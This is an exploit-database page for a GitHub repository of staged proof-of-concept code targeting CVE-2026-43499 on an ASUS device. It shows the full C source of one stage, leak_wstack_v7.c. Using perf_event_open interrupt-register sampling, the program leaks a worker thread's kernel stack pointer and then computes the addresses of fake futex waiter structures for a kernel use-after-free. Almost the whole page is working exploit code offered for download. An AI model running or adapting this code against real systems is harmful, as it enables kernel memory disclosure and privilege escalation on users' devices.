Exploit databaseDownload repository ZIP
GH-c138f49e12cfbda9c38e831e92b126e9
huaguiqi/asus-i005-cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files26
huaguiqi/asus-i005-cve-2026-43499Revision 759f8fe75bb8
- ↑..Parent directory
- legacy/
- .gitkeep
- README.md
- check_sel.c
- leak_kaslr.c
- leak_kaslr_fix.c
- leak_two_stacks.c
- leak_two_stacks2.c
- leak_two_stacks3.c
- leak_wstack_v7.c
- perf_probe.c
- poc_stage0_trigger.c
- poc_stage1_setxattr.c
- poc_stage1_v10.c
- poc_stage1_v11.c
- poc_stage1_v12.c
- poc_stage1_v13.c
- poc_stage2a.c
- poc_stage2b.c
- poc_uaf_baseline.c
- recon_leak3.c
- route1_recon.c
- route1_selfprobe.c
- route1_uaf_probe.c
- test_setxattr.c
- verify_o_spray.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/leak_wstack_v7.c
C · 7,157 bytes/* v7: v4 结构 + volatile 修复 + 简单 IRQ 栈过滤 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#ifndef SYS_perf_event_open
#define SYS_perf_event_open 241
#endif
#define PERF_EVENT_IOC_ENABLE _IO('$', 0)
#define PERF_EVENT_IOC_DISABLE _IO('$', 1)
#define PERF_SAMPLE_IP (1ULL << 0)
#define PERF_SAMPLE_TID (1ULL << 1)
#define PERF_SAMPLE_REGS_INTR (1ULL << 18)
#define REG_SP (1ULL << 31)
#define REG_PC (1ULL << 32)
#define PERF_RECORD_SAMPLE 9
struct __attribute__((packed)) perf_event_header_k {
uint32_t type; uint16_t misc; uint16_t size;
};
struct perf_event_attr_full {
uint32_t type, size;
uint64_t config, sample_period, sample_type, read_format;
uint64_t disabled:1, inherit:1, pinned:1, exclusive:1,
exclude_user:1, exclude_kernel:1, exclude_hv:1, exclude_idle:1,
mmap:1, comm:1, freq:1, inherit_stat:1, enable_on_exec:1, task:1,
watermark:1, precise_ip:2, mmap_data:1, sample_id_all:1,
exclude_host:1, exclude_guest:1,
exclude_callchain_kernel:1, exclude_callchain_user:1,
mmap2:1, comm_exec:1, use_clockid:1, context_switch:1,
write_backward:1, namespaces:1, ksymbol:1, bpf_event:1,
aux_output:1, cgroup:1, text_poke:1, build_id:1,
inherit_thread:1, remove_on_exec:1, sigtrap:1, __reserved_1:26;
uint32_t wakeup_events, bp_type;
uint64_t bp_addr, bp_len, branch_sample_type;
uint64_t sample_regs_user;
uint32_t sample_stack_user;
int32_t clockid;
uint64_t sample_regs_intr;
uint32_t aux_watermark;
uint16_t sample_max_stack, __reserved_2;
uint32_t aux_sample_size, __reserved_3;
uint64_t sig_data;
};
static volatile int stop = 0;
static volatile pid_t g_w_tid = 0;
static void *thread_w(void *arg)
{
(void)arg;
g_w_tid = (pid_t)syscall(SYS_gettid);
while (!stop) {
syscall(SYS_getpid);
syscall(SYS_gettid);
syscall(SYS_getuid);
syscall(SYS_getppid);
syscall(SYS_getpgid, 0);
}
return NULL;
}
int main(void)
{
dprintf(2, "==== Stage 1.6 v7 ====\n"); fflush(stderr);
pthread_t t;
pthread_create(&t, NULL, thread_w, NULL);
int wc = 0;
while (g_w_tid == 0 && wc < 3000) { usleep(1000); wc++; }
if (g_w_tid == 0) { dprintf(2, "W 启动超时\n"); stop=1; pthread_join(t,NULL); return 1; }
dprintf(2, "W tid=%d\n", g_w_tid); fflush(stderr);
usleep(100 * 1000);
struct perf_event_attr_full attr;
memset(&attr, 0, sizeof(attr));
attr.type = 0; attr.size = sizeof(attr); attr.config = 0;
attr.sample_period = 100;
attr.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_TID | PERF_SAMPLE_REGS_INTR;
attr.sample_regs_intr = REG_SP | REG_PC;
attr.exclude_user = 1; attr.exclude_kernel = 0;
attr.disabled = 1; attr.wakeup_events = 1;
int fd = syscall(SYS_perf_event_open, &attr, g_w_tid, -1, -1, 0);
if (fd < 0) { dprintf(2, "errno=%d\n", errno); stop=1; pthread_join(t,NULL); return 1; }
dprintf(2, "perf fd=%d\n", fd); fflush(stderr);
size_t buf_size = 4096 * 9;
void *map = mmap(NULL, buf_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) { stop=1; pthread_join(t,NULL); return 1; }
volatile uint64_t *data_head = (volatile uint64_t *)((char*)map + 1024);
volatile uint64_t *data_tail = (volatile uint64_t *)((char*)map + 1032);
*data_tail = 0;
ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
usleep(500 * 1000);
ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);
stop = 1;
pthread_join(t, NULL);
dprintf(2, "W 退出\n"); fflush(stderr);
__sync_synchronize();
uint64_t avail_total = *data_head - *data_tail;
dprintf(2, "avail=%llu\n", (unsigned long long)avail_total); fflush(stderr);
uint8_t *data = (uint8_t *)map + 4096;
uint64_t size = buf_size - 4096;
uint64_t off = 0;
uint64_t avail = avail_total;
/* 单一直方图, 直接过滤 IRQ 栈 (KIMAGE 低 512MB) */
typedef struct { uint64_t sp; int cnt; } spcnt_t;
static spcnt_t hist[128];
int n_hist = 0;
int total_samples = 0, matching = 0, irq_skipped = 0;
int iter = 0;
while (avail >= 8 && iter < 100000) {
iter++;
struct perf_event_header_k h;
memcpy(&h, data + off, 8);
if (h.size < 8 || h.size > avail) {
dprintf(2, " break iter=%d off=0x%llx size=%u avail=0x%llx\n",
iter, (unsigned long long)off, h.size, (unsigned long long)avail);
break;
}
if (h.type == PERF_RECORD_SAMPLE) {
total_samples++;
uint64_t s = off + 8;
uint64_t ip; uint32_t pid, tid; uint64_t abi, sp, pc;
memcpy(&ip, data + s, 8); s += 8;
memcpy(&pid, data + s, 4); s += 4;
memcpy(&tid, data + s, 4); s += 4;
memcpy(&abi, data + s, 8); s += 8;
memcpy(&sp, data + s, 8); s += 8;
memcpy(&pc, data + s, 8); s += 8;
(void)ip; (void)pid; (void)pc;
if (tid == (uint32_t)g_w_tid && abi == 2) {
matching++;
if (sp >= 0xffffffc000000000ULL && sp < 0xffffffc020000000ULL) {
irq_skipped++;
/* 跳过 IRQ 栈 */
} else {
int found = 0;
for (int i = 0; i < n_hist; i++) {
if (hist[i].sp == sp) { hist[i].cnt++; found=1; break; }
}
if (!found && n_hist < 128) {
hist[n_hist].sp = sp;
hist[n_hist].cnt = 1;
n_hist++;
}
}
}
}
off = (off + h.size) % size;
avail -= h.size;
}
dprintf(2, "iter=%d total=%d match=%d irq_skipped=%d n_hist=%d\n",
iter, total_samples, matching, irq_skipped, n_hist);
fflush(stderr);
uint64_t mode_sp = 0; int mode_cnt = 0;
for (int i = 0; i < n_hist; i++)
if (hist[i].cnt > mode_cnt) { mode_cnt = hist[i].cnt; mode_sp = hist[i].sp; }
dprintf(2, "过滤后众数 SP = 0x%016llx (%d 次)\n",
(unsigned long long)mode_sp, mode_cnt);
if (mode_sp == 0) {
munmap(map, buf_size); close(fd); return 1;
}
uint64_t stack_base = mode_sp & ~((uint64_t)0x3fff);
uint64_t sp_top = stack_base + 0x4000;
dprintf(2, "\n==== 推算 ====\n");
dprintf(2, " W 内核栈 sp = 0x%016llx\n", (unsigned long long)mode_sp);
dprintf(2, " stack_base = 0x%016llx\n", (unsigned long long)stack_base);
dprintf(2, " sp_top = 0x%016llx\n", (unsigned long long)sp_top);
dprintf(2, " fake_waiter = 0x%016llx\n", (unsigned long long)(sp_top - 0x1b0));
dprintf(2, " futex_q = 0x%016llx\n", (unsigned long long)(sp_top - 0x140));
munmap(map, buf_size);
close(fd);
dprintf(2, "==== done ====\n");
return 0;
}